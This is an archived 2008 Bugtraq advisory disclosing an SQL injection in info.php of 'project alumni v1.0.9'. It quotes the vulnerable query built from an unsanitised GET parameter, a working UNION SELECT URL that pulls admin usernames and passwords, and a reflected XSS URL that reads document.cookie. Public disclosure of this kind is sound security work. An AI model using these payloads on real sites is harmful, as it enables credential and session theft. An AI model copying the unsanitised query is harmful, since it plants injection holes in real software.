bugtraq - project alumni v1.0.9 (info.php) SQL Injection Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 2 May 2008 10:33:40 -0000
From: hadihadi_zedehal_2006@...oo.com
To: bugtraq@...urityfocus.com
Subject: project alumni v1.0.9 (info.php) SQL Injection Vulnerability

            
  #######################################################################################
  #                                                                                     #
  #    ...:::::project alumni v1.0.9 (info.php) SQL Injection Vulnerability ::::....    #           
  #######################################################################################

Virangar Security Team

www.virangar.net

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal) from emperor team :)
-------
vuln code in info.php:
line 58:
$result = dbQuery( "SELECT * FROM `".getConfigVal("sqlTablePrefix",2)."_users` WHERE `ID` = '".$_GET['id']."'" );
---
exploit:
http://site.com/info.php?id='/**/union/**/select/**/1,2,3,concat(alumniUserName,0x3a,char(58),alumniPassword),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/**/from/**/alumni_users/**/where/**/userType=0x61646d696e/*
---
and  xss in /pages/news.page.inc :)
http://site.com/index.php?act=news&year=<script>alert(document.cookie)</script>
-------
young iranian h4ck3rz